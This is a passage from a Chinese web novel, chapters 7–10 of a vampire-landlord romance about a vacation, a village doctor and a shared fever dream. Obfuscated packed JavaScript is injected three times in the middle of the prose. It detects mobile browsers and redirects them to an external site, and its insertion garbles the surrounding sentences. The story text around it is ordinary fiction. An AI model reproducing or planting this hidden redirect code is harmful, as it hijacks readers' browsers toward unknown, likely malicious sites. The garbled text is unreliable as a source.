《度假遇上吸血鬼屋主》 7. 度假 下车后，金宁想试试自己走的，但是为了方便，他出门时穿的拖鞋，而这村庄很原始，路面都是石子的。 在辛宸再次主动背他时，他已经完全了没有抗拒的心理。 “屋主啊，你确定这里有医生吗？”徐长夏拽紧了背包带子，警惕地观察着周围。 他以前去过更落后的地方，但是都没有这么偏僻，安全起见，他把挂在脖子上的运动摄像机打开了。 “嗯。”辛宸背着人比其余两人走得还快，径直往竹楼走去。 黎逢也打开了相机，这里的村民穿着有点少数民族的感觉，看起来很淳朴。 他倒是挺喜欢这种民俗风情的，所以带着欣赏，隐隐惊艳，正想感叹一句“真是误入桃花源啊”，结果一阵恶臭扑面而来。 “vocal！好臭！”徐长夏堵住了鼻子。 “是羊圈，”黎逢已经看到了，米白色的一片羊群，因为被惊扰了开始咩咩叫起来，他捂着鼻子说道：“还有小羊羔呢……” 金宁趴在辛宸背上回头看了一眼，默默皱着鼻子。 这一回眸他又发现了一些奇怪的事情，三五个村民已经聚集在一起小声嘀咕起来，聊天的内容很显然是围绕他们这群外来者，但是目光主要集中在他和辛宸身上。 那眼神中包含了很多内容，带着戒备，好像认识他们似的，或者应该说，认识辛宸，又惧怕这个人。 “你以前来过这里吗？”金宁重新趴好，说话时，已经靠近辛宸耳边，问完他又觉得自己说了一句废话，没来过的话，怎么会带他来？ “小时候来过。” “那都很多年前了，你确定……有医生吗？我是说医生还在这吗？” “在的。”辛宸没再说什么。 金宁想说不在也没关系，他也没抱什么希望，甚至开始想着等下怎么不失礼貌地说服辛宸开车去城里。 但是走到竹楼前时，他又信了，这里真的有一位医生，但可能是中医。 和辛宸的别墅一样，竹楼的地基也是镂空的，他们直接上的二楼。 天气很好，竹楼的阳台地面上晾晒着各种草药，一个头发花白的老人正在整理竹筐，竹筐里都是一些新采的草药。 “你来了？”老人出声，也没问事由，直接过来安排辛宸把金宁放在了一旁的竹椅上。 辛宸刚放下人，突然被抓住了手腕。 金宁仰头看着他，一副害怕的样子。 “别怕，真的是医生。”辛宸安慰道。 “我虽然住在山里，但是也是有行医资格证的，”老人笑笑，卷起袖子在金宁面前蹲下，快速检查了一番说道：“没事，就是扭伤了，待会儿带几副活血化瘀的膏药会去贴几天，我先给你扎两针。” “不，不用了吧……”金宁握住辛宸的手更用力了。 老人甚至没抬头看他，从口袋里掏出了一次性的针灸针。 金宁心想完了，碰上隐士高人真中医了，这比假的还要命。 他把脚往回缩，脸也往辛宸怀里躲，用行动表示自己不愿意被治疗，就差大喊不要了。 结果，空余的左手突然被抓住，一根银针直接扎进了大拇指旁边的位置。 金宁：？ 请问呢！我请问呢？！我又不是手崴了？！ “经络循行，扎患肢对侧经络，我不是老眼昏花把手当脚。不疼吧，这么大小伙子了，还怕疼啊？”老人笑得一脸慈祥看着他。 金宁怀疑他有读心术，看了他一眼差点就被对方的笑容感化了，但是随即看到了对方手里的第二根针，他直接闭上眼睛，再次把脸扭进了辛宸的怀里。 辛宸是站着的，金宁埋头的位置在他的腹部，他人懵了一瞬，冰冰冷冷的人都要烧起来了。 但是怀里的人捏着他的手腕，人也在微微发抖。 他想问问金宁为什么这么害怕，僵硬了一瞬后抬手拍了拍金宁的肩膀，“没事了。” “手不要乱动。”老者说道。 辛宸：“我没乱动。” 手抬起来没敢放下去，他没乱动啊。 “我没说你！我是说这个小伙子，”老中医拽着金宁的手，施完第三针，终于松开，说道:“好了，放松。20分钟后取出就行了，会好很多的。” 金宁连放松都不敢，在老中医松手后，他继续抬着手，指尖在发抖，直到落进了一个冰冷的手掌里。 他抬头看了一眼，辛宸只是瞥了他一眼就转开了目光，现在两人的姿势，有些过于亲密了。 “咳咳，那什么，我去看看羊。”一直站在不远处的黎逢目睹了全程，干咳了两声，收敛起姨母笑转身离开。 徐长夏喜闻乐见，也跟着跑了。 —— “我有点害怕针灸。”金宁解释道。 “没事的。”辛宸垂眸看他，仰着头的人眼睛很大，眼尾微翘，不算浓密的睫毛一根一根投下阴影，刚刚因为害怕闭眼闭得太用力了，此时眼角睫毛都湿漉漉的，像个红鼻子的小鹿一样。 莫名可爱。 “为什么会害怕？”辛宸问道。 金宁很尴尬，耐心解释道：“我小时候总是生病，尝试了各种疗法，针灸更是家常便饭，一直不好一直扎，你见过吗，扎得头上像个刺猬一样，动一下牵动着全身的神经……疼到坐不住，但是不能躺下休息，因为针……” 说着他克制住身体的颤动，最夸张的时候，医生刚开始消毒，还没开始扎针呢，只要碰到皮肤，他就开始颤抖。 自觉丢人，但是无法控制。 “我不知道你害怕这个，”辛宸声音带着自责，他只是想着不让金宁离开，所以带金宁来附近治疗，却没想到会勾起他不好的记忆，“抱歉。” 金宁摇头，聊天分散了注意力，而且这个老头扎得确实没那么疼，他慢慢松开辛宸的手腕。 因为抓得太紧了，白皙的手腕泛着红色，在他松开时快速回血，他盯了一瞬赶紧移开目光。 至于另一只手，他没有勇气挪动，所以依旧牵着。 他的大拇指周围扎了三根针，两根几乎是在同一个位置，往指甲盖的方向，剩下的一根从手心的位置向外，看起来实在是恐怖。 他不知道针有多长，扎到了哪里去，总觉得动一下肉都会被搅乱。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521214|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>这么想着他又开始害怕。 辛宸站着没动，看他闭着眼睛害怕的样子，不忍又自责，手抬了抬，犹豫片刻，还是放在了金宁的后脑勺，将人拉近一些，沉声安抚道:“还要十几分钟，你可以靠着我休息一会儿。” 金宁抬眸看了他一眼，辛宸在和他对视了一瞬后，突然看向了外面，似乎是感觉到了什么。 “怎……” 金宁一句话还没问完，几乎是同时听到哐的一声巨响，伴随着黎逢的痛呼声:“啊！我的相机！” 金宁正担心着，又听到了徐长夏笑得上气不接下气的声音。 金宁松了一口气的同时好奇了。 辛宸看他往外探头，解答道:“你朋友，年长一点的那个，被羊顶了……” 金宁:？ 好玄幻，好可怜，又很好笑。 —— 徐长夏笑到停不下来。 “徐长夏！”黎逢一直情绪稳定，现在都无法稳定了。他被羊顶到屁股直接起飞，差点把栅栏给撞烂了，他感到颜面全无，现在只关心自己的相机有没有坏，“别笑了，捡相机！” 徐长夏捡了相机，挂脖子上，才去把黎逢扶出羊圈，笑得发抖，“你小心一点啊，万一摔个头破血流的，这都没医院给你看！” “还好相机没坏，”黎逢捂着后腰，“我感觉我腰断了。” 在旁边看了一会儿热闹的村民大婶操着一口方言版普通话说道:“哪个讲没有医生的？姜老很厉害的！” 另一个大婶应和:“是啊，腰断了都没事的！前些年有个人啊，被大黑熊撕的，眼珠子都突出来了，姜老给救活的！” 一个老头拍大腿:“诶你这么一说，刚刚那个小伙子，是不是就是住那个大房子的小孩啊？” “什么小孩？”徐长夏趁机打听。 几个大婶住在山里难得见外人来，而且问话的还是个眼睛很大的讨喜的年轻人，其中一个小声道:“大黑熊手底下死里逃生的，一丁点大，两个大人都一身的伤，小娃娃一身血，一点伤没有，你说奇不奇怪？” 徐长夏没太听懂，情绪价值给足附和道:“何止奇怪，简直奇了！” 大婶比划的一丁点大也就才到膝盖那么大。 很难和辛宸联系在一起啊。 “别说了！”另一个大婶制止她，“那一户人家怪得很，别被听到了！” 徐长夏被她说的鸡皮疙瘩爬了一背，不死心问道:“你们是说的很高的那个，背着人的那个吗？” 大婶往竹楼看了一眼，点点头，不敢说了，快速拉着其他人离开了。 徐长夏和黎逢对视了一眼，哪有一户人啊，不就一个人吗？ “先别跟金宁说。”黎逢怕徐长夏嘴快。 “都没听懂，说什么啊！”徐长夏笑不出来了，看了一眼黎逢捂着腰吃痛的样子，烦躁道:“赶紧去给那个姜老看下你的腰，拍什么不好，非要拍小羊羔，被羊撅了吧……” 他叭叭了一通，还是把人扶到道竹楼。 一上楼，抬眸正好对上辛宸的目光。 不知为何，徐长夏觉得自己被警告了。 8. 度假 但是，徐长夏向来不认怂，辛宸用眼神刀他，他就直直地瞪了回去。 眼神交汇时，徐长夏恍惚了一瞬，差点从楼梯上摔下去。 “小心一点！”黎逢拉了他一下，“不能再多一个伤员了！” “没什么事吧？”金宁探头看了一眼。 黎逢脸上表情痛苦，嘴上回道:“没事！” 徐长夏又恢复了正常，只当自己是笑得缺氧了。再看辛宸时，一瞬间失去了所有力量和勇气，而且突然就想到那个大婶说的——那么小一点，一身血！ 小不点血战大黑熊？ 他被自己幽默到了，谁都知道一些故事传着传着就灵异了。 徐长夏把黎逢扶到金宁旁边的椅子上后，跑去了对面围栏边靠着，虽然决定不要自己吓自己，但是还是选择离辛宸远一点。 黎逢坐下后继续检查相机，“还好相机没事。” “坏了也没事，我运动相机开着呢，”徐长夏拍了拍胸口，笑得坏坏的，“记录了你被羊顶飞的全过程，超清素材，免费提供给你。” 黎逢:“删除行吗？” “删除不免费，删除得收费，”徐长夏被阳光晒得眯起眼睛，侧过脸躲避阳光直射，又坏笑道：“我也不差钱，就不删了。” 金宁举手，“给我看看！” 黎逢瞪他。 辛宸看着三人，又开始了，这三个人只要在一起就立刻就组成了一个稳定的三角关系。 即使他还握着金宁的手，也仿佛只是个方便的支架。 阳光越来越烈了，越接近中午，越是难忍。 辛宸皱了皱眉，裸露的皮肤表面因为阳光暴晒而刺痛着，尤其是眼睛…… “我去叫一下姜医生，你们在这里等一下，”辛宸小心地松开金宁的手，放在椅子边缘上，嘱咐道:“别乱动。” 松开的手，手心暴露在阳光下，像是被火灼烧一样，辛宸立刻攥紧了拳头，几步走到了门廊阴影下，进了屋里。 金宁看着他走远，手放在一边突然被阳光晒得燥热起来，辛宸的手，是什么冰袋吗？ 被针刺的痛感突然清晰起来。 徐长夏走过来，揶揄道：“要我握着你手吗？都是好兄弟，我可以牺牲一下。” “不用了，谢谢，”金宁挑眉，“快给我看看视频。” “喂！”黎逢震惊。 金宁苦着脸道:“真的很疼啊，我分散一下注意力。” 徐长夏把运动相机从领口上解下来，屏幕还没有手心大，但是装下了最搞笑的画面。 两人凑到一起看着，就见那只半人高的羊，瞄准了黎逢的方向，后退着蓄力。 而背对着羊群的黎逢一无所知，正准备抱起角落里的小羊羔，脸上一副被萌化了的表情，嘴里玛卡巴卡地念念有词，就这么毫无防备的，突然被创飞了。 金宁也不想笑的，但是他是个损友，虽然没损到徐长夏那个程度，但是他笑点真的很低。 辛宸出来时，两人正笑作一团，眼泪都笑出来了，徐长夏更是站不稳似的靠在了金宁的肩膀上。 “什么事这么好笑，带我笑笑！”姜医生卷着袖子过来了。 徐长夏看了一眼黎逢，算了，别把人气哭了，他咳嗽了好几声才止住了笑，摇头道：“没什么，您一定是他们说的姜老……神医了吧，我朋友被撞了一下，腰好像受伤了，麻烦您给他看看……” “我看看。”姜医生点头，开始给黎逢检查。 金宁擦了擦眼角笑出的泪，下意识抬眸找寻辛宸，很快锁定了远处门廊下的身影。 辛宸站在门廊阴影下，神色晦暗不明。 金宁和他对视了一会儿又被旁边黎逢的痛呼声召唤了回来，姜医生拧着人正骨，左转右转了几下，传来几声骨头脆响声。 “好了，疼是因为羊角戳到肉了，骨头没事，”姜医生掀起黎逢后背的衣服，“看看，都出血了……” 金宁跟着看，破皮的地方有一点血迹，掀起的衣服混合着汗，被染了淡粉色。 金宁看得肉疼，怎么伤得比他还重？ 姜医生利落地给黎逢处理伤口，给纱布上倒碘伏时，似乎是想到了什么，手上的动作突然顿了一下。 碘伏从瓶口涌出泼在了洁白的纱布上，洋洋洒洒将地面染上了棕色。 扎针时稳当的手，因为忙乱抖动着。 金宁正疑惑着，那块被泼得乱七八糟的纱布“啪叽”就盖在了黎逢腰上的伤口上，遮住了血迹。 “嘶……”黎逢被重击了一巴掌，不亚于被羊又顶了一下。 徐长夏扶住他，奇怪地看向突然慌乱的姜医生，然后顺着他的目光往门廊看去。 辛宸站在阴影中。 姜医生看着辛宸，见对方没反应，尴尬地笑笑，说道：“年纪大了，有点累了。” 金宁直觉姜医生在害怕，至于害怕什么他无从得知。 害怕辛宸吗？可是辛宸还站在原来的地方，始终没有动过。 之前看他们熟稔的样子，他以为这两人之间很熟悉，毕竟住在同一片林子里。 现在，他明显感觉到了一丝异样。 “时间差不多了，取针吧，”姜医生洗了手后情绪也稳定下来了，他走到金宁面前，拽过金宁的手，手指顺势按在了手腕的脉搏上，深深看了他几眼，说道:“血热气虚。” “他是有点虚的。”徐长夏接话。 黎逢腰舒服了，只剩下肉疼，也终于相信他是个神医，立刻加入问诊，“他老是发烧，是不是因为血热？” 姜医生摇摇头，“不清楚。” 他伸手要去取针，金宁下意识往后躲。 “来，躲我怀里。”徐长夏说着人没动，就是想笑话他一下。 背后一阵凉风，一道人影快速从他旁边闪过，在金宁身旁站定，握住了金宁的手腕。 金宁松了一口气，凉嗖嗖的，让人心也静了下来。 姜医生快速抬手把针取了，转身就走，很快就拿了膏药和中药出来，递到徐长夏手里，交代了用法，摆摆手送客。 好像突然就不愿意交流了。 —— 离开村子时，他们已经看不到任何村民了。 来时还算从容，离开时像是踢馆失败，落荒而逃——徐长夏架着黎逢，辛宸背着金宁。 走到村口时，金宁回头看了一眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521215|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，竹楼上，姜老站在逆光处看着他们，茅草屋的门缝里，也有人在窥视。 说不出的怪异。 但是这种藏在深山里的村子，怪一些也很正常吧。 金宁这么想着，就感觉辛宸越走越快，快到把徐长夏他们甩在了身后。 颠簸中，他赶紧抱紧了辛宸的脖子，圈到脖子前的手按在了辛宸的肩胛骨处，居然意外地感觉到了热度。 但是辛宸穿着黑色长袖，也可能是黑色吸热后，阳光留下的温度。 他不能确定，又试探性地往皮肤裸露的地方磨蹭了一下，确实是热的。 皮肤光滑，而且很烫。 一直让他感觉怪异的低体温，好像也不是一直那么低。 被摸的人愣了一下，因为阳光直射而愈发疼痛的身体，从内而外地灼烧着。 现在倒是金宁的手温度更低一些了。 不知道是有意还是无意，那几根手指紧紧地压在他的锁骨，伴随着刺痛升起一丝酥麻感。 “扶好，”辛宸顶着烈日，实在经不起撩拨，即使对方不是故意的，“手别动，我怕痒。” 金宁愣了一下，后知后觉的，脸上发烫，狡辩道：“不搂着的话，我会掉下去的。” “那你搂紧一点。”辛宸说完加快步伐。 金宁听话地把两只手相扣搂紧，随即歪头看着眼前紧绷的侧脸，这人从刚才就一直很严肃，此时下颌线都因为咬紧凸起了一个锐利的弧度。 不知道是什么事情惹着他不高兴了。 —— 辛宸把人放进副驾驶后，自己也坐进了车里，隔热防晒的车窗贴膜也不能完全遮住太阳光线。 他看了一眼乖乖坐着的金宁，手伸过去，拉开了副驾驶的储物箱。 里面静静躺着没用过的口罩，遮阳帽和墨镜。 在金宁的注视下，他最后只拿了墨镜，戴上后，人尽量往阴影下缩了一些。 金宁转头看他，墨镜几乎遮住了半张脸，显得他像个躲避狗仔的大明星。 “阳光刺眼，我眼睛有点敏感。”辛宸以为金宁在怀疑什么，沉声解释道。 实际上，眼睛疼得要死，看东西都开始出现重影了。 戴上墨镜后才好一些，疼痛还在能忍受的范围内，他努力想做个正常人。 在他强撑着时，黑色的帽子被压在了头上，帽檐被拽了一下，一片阴影遮下来，挡住了脸。 辛宸侧头，紧促的眉头松开。 金宁收回手，问道:“你是不是怕晒？” 辛宸想了一下，没否认。 他们族群在进化中，逐渐对阳光免疫，短时间在阳光下只会疼痛难忍，时间久了皮肤表面会泛起一层红色，直至形成成片的疹子，像是一种伴随极端疼痛的过敏。 所以他确实是怕晒，怕阳光， “皮肤白好像更容易晒伤，”金宁说着瞥了他一眼，“真的诶，你脖子都晒红了……” 红色的，三根细长的印子，在辛宸的锁骨上方清晰可见，像手指印。 金宁低头看了看自己的手，又看了看印子，该不会是自己的手指摸出来的手指印吧！ 他有这么用力吗？ 9. 度假 金宁手指动了一下，不敢相信，很想放上去比对一下，但是被自己的另一只手按住了。 再摸就是变态了！ 可是这超绝敏感肌，看起来真的……好想再摸一下。 辛宸将他天人交战的表情尽收眼底，抬眸看了一眼后视镜。 如金宁所说，脖子红了，麻痒的感觉也不是无中生有，被金宁摸过的地方，留下了一片细微的红疹。 形成了手指的形状。 那只手的温度和触感，好像还残留在锁骨上。 “你皮肤真的挺敏感的。”金宁知道被发现了，有点心虚地小声嘀咕。 皮肤敏感？辛宸抿唇，他以前没遇到过这种情况，毕竟他还没有蠢到明知道自己怕阳光还跑去大太阳底下，其次，他和别人也没有过肢体接触，特别是在光天化日之下。 “所以那天去车站接我们才裹成那样？”金宁看了一眼还开着的储物箱，里面东西放的很整齐，不难发现放置在侧边的黑色手套。只能说上次接人时，辛宸还是保守了。金宁猜测道:“难不成是对阳光过敏吗？” “嗯，对阳光过敏。”既然金宁这么说了，辛宸就坦然地“承认”了。 金宁立刻给他递了口罩，手套，催着他赶紧捂严实，语气关切道:“那你为什么……不遮起来啊！” “怕你会觉得我很怪。”辛宸把口罩和手套都戴上了，透过墨镜看着金宁。 藏在墨镜后的眼神是冷厉的，但是说话声音闷闷的，甚至有点委屈。 金宁愣了一下，他好像是在背地里说人家怪来着，心里更是直接把辛宸和怪人划了等号，听辛宸这么说，他的心里顿时愧疚了。 他看着辛宸，脑补了一堆，因为对阳光过敏，隐居深山，多可怜啊！ “一点都不怪，真的！”金宁语气肯定，甚至试图夸他两句，而且很轻易就能夸出口，“这样也很帅啊！” 特别是手套，看着很性感，就是可能会有点热…… 金宁努力保持微笑。 后车门被拉开，打断了两人的对话。 “你们跑那么快干什么？”徐长夏抱怨着，先把手里的药扔进后座，然后把黎逢塞进车里，累得气喘吁吁地从另一侧上车。 他拽着衣领，试图散散热，长袖都汗湿了。 “是你们太慢了。”金宁随口回答道。 “黎哥这么大块头，我扶不动啊！累死我了！”徐长夏瞥了黎逢一眼，一个坐办公室的人，怎么又高又壮的！眼神转向驾驶座的时候，不禁愣住了，他都要热死了，为什么辛宸捂成这样？ 徐长夏：“不热吗？” 金宁替辛宸解释道：“他对阳光有点过敏，赶紧回去吧，黎逢也需要休息。” “我想趴着。”黎逢说。 他意思是他真的很需要躺下，结果徐长夏拍了怕自己的大腿，说道：“可以趴我腿上。” 黎逢：“……” 辛宸在他们三个再次聊起来前，开车转弯。 黎逢差点摔倒，徐长夏顺势拽了一把，让黎逢脸朝外侧着靠在了自己的腿上。 金宁回头看了一眼，叹气。 这大概是他出来玩最惨的一次了，就连徐长夏这个一向活力满满的人，此刻看起来都累得不想说话了。 —— 回到别墅时，辛宸把金宁送上楼就离开了。 金宁感觉针灸确实有用，他的脚没有之前那么疼了，所以他去冲了个澡，躺下前把药膏贴上了。 两位老伯来看了他一眼，顺便给他送了午饭。 他吃完就睡午觉了。 进入睡眠时，他也算是想开了，反正他是出来度假放松的，睡着放松也是一样的，不是非得看什么风景或者拍什么照片才行，主要还是心自由人自在。 —— 辛宸去浴室冲了冷水澡，出来时脖子上的手指印只剩下浅浅的粉色。 他的手指贴上，将印记盖住。 金宁明显就是在摸索，并不是不小心的…… 他换了衣服看了一会儿书，但是实际上一个字也没看进去。 带金宁去见姜医生好像是个错误，他也没想到那么多年前的事情，那群村民还记得。 虽然记得也不奇怪，村子偏远封闭，很少有什么大事发生。 年轻人都被姜医生资助出了深山，留下年纪大的，种种地养养羊，遇到路过的徒步人、探险家总会说些危言耸听的来吓人。 现在对面别墅里安安静静的，徐长夏还没跟金宁分享那件事，如果金宁知道，问起来，他要不要说实话——故事里眼珠子都被踩凸起来的，就是山伯！ 对话会怎么开展呢？ 嗯对，山伯的视力就是那时候受损的。 没错，你几次偶遇山伯都是我们安排好的，就是为了让你信任他，就是为了把你骗来这里…… 辛宸头疼，一开始就不该放任山伯去接触金宁。 更不该为了避免被拆穿，就和两位老人装作不熟的样子。 辛宸正头疼着，突然听到楼下传来声响，他立刻起身去了马厩。 “姜医生？”辛宸皱眉，这老头怎么跟来了？ 姜医生把竹篓里的苜蓿草都塞进草料框里，看向辛宸时目光闪烁。 “辛理事……辛宸……”姜医生快速迈着小碎步往前挪动，又在离辛宸1米远的地方停住，他局促地扯着衣摆，和之前从容的医者形象相去甚远，他现在对辛宸有所求，显得很卑微，腰背都弯曲下来，“抱歉，上午我以为，我以为那个血……” “你以为我看到血就会像野兽一样吗？”辛宸看向黑马嘟嘟，金宁想骑马，但是脚伤了，他可以带金宁一起骑…… “我忘记了，您和他们不一样……”姜医生露出讨好的笑。 辛宸看向他，无奈地说道:“我说过了，不要来找我，我不会再给你你想要的东西。” 姜医生双手合十祈求道:“可是我今天帮你了啊，求求你了辛宸，我就是想见见我的家人，求你了……” 姜医生差点要跪下，被辛宸一个眼神止住了。 “那只是梦而已，”辛宸叹气，为什么要执着于虚无的东西呢？他看向头发花白的人，皱眉道:“你年纪太大了。” 他能赋予梦境。 而沉在梦境里，就像一场深度的麻醉。 醒不来，就会死。 “我身体很好的！”姜医生见辛宸表情松动了，再次恳求，“最后一次，真的最后一次，醒不过来也是我自己的问题，你不要有心理负担。” 辛宸脸上没什么表情，他能有什么心理负担……他该有心理负担吗？ 他只是嫌烦，真死了还得他来处理。 “不要再来，就当是还礼。”辛宸说完就看向老人。 姜医生对这套流程很熟悉了，欣然接受了对方目光的侵入—— 黑沉的，会深入灵魂的眸光，带着某种暗示和诱导…… 老人恍惚了一瞬跌坐在地上，起身时，只看到辛宸转身离开的背影…… —— 辛宸还是没想到解决方法，去了隔壁别墅找山伯，想着还是坦诚部分事实。 事实的部分是当时被黑熊袭击的是山伯和幽叔，那个孩子是他。 需要被美化的部分则是，当时他全身是血，且没有受伤，是因为他只是蹭到了血，没有接触黑熊。 需要隐藏分的部分是，他在3岁的时候，单挑了大黑熊。 至于他们为什么一副不熟的样子……很好解释，因为代沟。 还好他们来的时间不长，还有救，奇怪的地方都能忽悠过去。 辛宸走到客厅时，已经想得差不多了。 他理了一下，总算逻辑也能说得通。 客厅里徐长夏正在啃梨子，看到辛宸时，他说道：“金宁在睡觉。” 辛宸点头，去找山伯了。 山伯正在准备晚饭。 “你们早上不在，我和阿幽去钓鱼了，野生鲫鱼，还不错吧！”山伯把刚杀好的鱼拎给辛宸看，小声问道：“这个血，没关系吧？” 辛宸摇头，只是难闻而已。 “我有事情要跟你说，”辛宸拉了一下山伯，想要避开徐长夏，“他们……” “说什么悄悄话呢！”徐长夏突然蹦过来，看到山伯一手血，咦了一声，又点点头道:“那俩病号确实要补补，在哪里钓的啊，明天还钓吗，带我去可以吗？” 辛宸深呼吸，被腥臭味呛了一下，咳嗽了几声，这会儿没机会说了，他决定先去找金宁。 三楼很安静，他路过了黎逢的房间，黎逢正戴着耳机趴在床上剪视频，完全没注意路过的人。 辛宸悄无声息地走到金宁的卧室门口，里面只有均匀的呼吸声，还有一丝奇异又温暖的味道。 他犹豫了一下，推门，门直接开了。 走到床边时，床上的人依然没动静。 金宁盖着薄被，受伤的脚贴着膏药放在被子外面，身上穿着短袖长裤，睡相斯文。 只是脸上浮现着不正常的红色，呼吸虽然平缓，但是也比正常睡眠时粗重一些。 年轻人身材修长，看起来有点单薄。 “金宁？”辛宸抬手在他额头摸了摸，一片滚烫。 金宁在睡梦中抓住了他的手，嘴角翘起似笑非笑。 辛宸的手被抓着，一时间无法抽身。 发热的人被冰冷的体温吸引了，拽着辛宸手侧身过来，将掌心枕在了脸下面，嘴里还在念念有词，只是模糊不清。 辛宸知道他在做梦，而且一定是个极美好的梦。 就像姜医生会渴望和意外去世的家人们在梦里相聚一样，金宁也会展示欲望和渴求，比如友情、亲情、自由、活着…… 辛宸看了一眼门口。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521216|155125||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他有两种方法进入金宁的梦境，第一种就是他现在马上立刻睡着，但是他舍不得松开手，而且大白天真的睡不着。 另一种…… 他掀开了金宁脖子上的创可贴，俯身贴过去，轻轻嗅闻，已经很淡的血味顺着鼻腔，钻进了肺里…… —— 金宁没想到睡着就开始发热了，而这次发热时的梦境，让他有些无语。 地点是别墅前的草坪，天气阴。 天上的云是一种很深的蓝色。 他躺在地上，枕在一个人的胳膊上。 “金宁，你真的好可爱……” 低沉的男声几乎贴在耳边，带着温柔的笑意。 金宁不仅耳朵麻了，脖子也麻了，有点僵直地转过头，鼻尖差点碰触到对方的嘴唇。 “辛宸？”金宁吃惊。 “不认识我了吗？”男人问道，明显是开玩笑的语气。 金宁：本来也不熟啊！ 他坐起身，看着周围。重新梦到这个场景，他确定这就是小时候那个梦里的场景。 当时他和一个小男孩也是躺在同样的位置，不同的是，那个梦境里他年长一些，那个孩子比他矮很多，所以是那个孩子枕着他的胳膊。 他回眸看向已经跟着起身，但是没完全起来的人，男人用胳膊肘撑起上半身，微笑着，满脸宠溺。 金宁无奈叹气，这是他这个阶段最想要的吗？ 和一个刚认识一天的男人，搞暧昧？ 这都怪徐长夏跟他碎碎念了那么久，他完全是被洗脑了。 他从来没有在发烧的时候梦到过和爱情相关的内容。 不，这无关爱情。 他又看了一眼，男人穿着偏紧身的长袖，侧躺着时肌肉线条非常明显，特别是腹肌，隔着衣服凸起，像是小面包一样一块一块的。 宽肩窄腰大长腿，配上那张过分好看的脸，他忍不住咽口水。 这真的和爱情无关。 只是……纯好色而已，是身体的欲望。 他看了一眼别墅，梦里的别墅和现实中是一样的，只是朦朦胧胧隐藏在雾气中。 “在想什么？”男人问道。 “没，没什么……”金宁心脏狂跳，他想了很多，比如这只是个梦，做点什么也没关系吧。 是他此刻想要的，也是他可以得到的。 男人仿佛能读心一般，起身勾住了他的脖子，把他拉了下去。 —— 辛宸睁开眼睛愣了一下，他能“看”见金宁的梦境，所以也看到了金宁梦境里和他一模一样的男人。 那么，那个人，能算是他吗? 当然不能，如果是他，那他为什么现在单腿半跪在床边像个小偷一样探寻着金宁的梦境。 “辛宸……”金宁呓语了一声，熟睡中乱动着手臂，直接搭到了辛宸的脖子上。 辛宸还想看看，到底两人在干什么。 他靠到金宁的脖子间，再次轻嗅那个伤口，因为着急脸都埋了进去。 熟睡的人突然搂紧了他的脖子，嘴巴也贴了过来。 辛宸：! 是因为在梦里亲上了吗？！ 他知道不该生气，那不过是金宁幻想的产物，甚至他应该开心，他赋予的梦境，通常是做梦的人最渴望的东西，当然，也可能是最恐惧的东西。 但是，他赋予金宁的，是美梦。 在第一次对视时，他希望带走少年所有的病痛，希望他永远快乐。 他在金宁的嘴唇贴上来时，再次闭上了眼睛，温热的触感让他心惊。 而“看见”的画面让他心寒—— 躺在草地上的两人已经贴在了一起，和现实里是一样的姿势。 他不想看了，所以又睁开了眼睛，生气到几乎失去理智。 看着眼前紧闭的眸子，他将人往床里面推了推，覆身靠了过去。 —— 而在梦境里，金宁突然背部着地，被压力下去。 他第一次在自己的梦里失去了掌控，或者……金宁分心分析着，可能他喜欢被强制？ 不管他的癖好如何，他也是第一次探索，被搂住亲吻的感觉实在是太真实了。 对方的体温还是那么凉，隔着薄薄的衣服带走他身上的燥热。 他像是泡在泳池里一样，身体晃荡着，意识也晃荡着。 舌头伸进嘴里时，金宁心口颤动，张着嘴巴接受着对方的探索，在或深或浅的亲吻和舔舐中，心甘情愿地回应着。 舌头被卷过去，又被压到一边，纠缠不休的，他不知道还要亲多久，为什么会越亲越甜，身体好像不属于自己了，完全失去了力气…… 金宁也知道这样不好，所以他紧紧闭着眼睛，就当不是辛宸吧，就当是幻想。 “金宁……”男声低沉的，从很远很远的地方飘过来，分明是辛宸的声音。 10. 度假 “呃嗯…”金宁下意识应了一声，尾音颤抖着。 随即又被亲到窒息，大脑缺氧时，意识反而清醒了很多，亲吻的黏腻声音从口腔传递到耳朵里，真实到吓人。 长年累月的梦境体验，金宁慢慢找到一些办法，用来帮助自己在清醒后分辨虚假和真实—— 梦里什么都有，但是没有味道。 但是现在他清晰地闻到辛宸身上的味道，冷霜一般，还有难言的亲吻的甜腻…… 真实到让他退缩。 他在梦里睁开眼睛，双手捧住近在眼前的脸，在男人错愕的眼神中将人推远，直到对方面目模糊，化为尘烟散去。 金宁回头看了一眼别墅，隐藏在雾气中的房屋逐渐清晰起来，房屋里的人从窗口向他招手—— “金小宁，打牌吗？三缺一！” 是徐长夏的声音。 和朋友一起度过度假时光，才是他当下最应该去做的事情。 这也是他一直最想要的东西，轻松地活在每一个当下的时刻。 他起身，快步往别墅走去。 —— 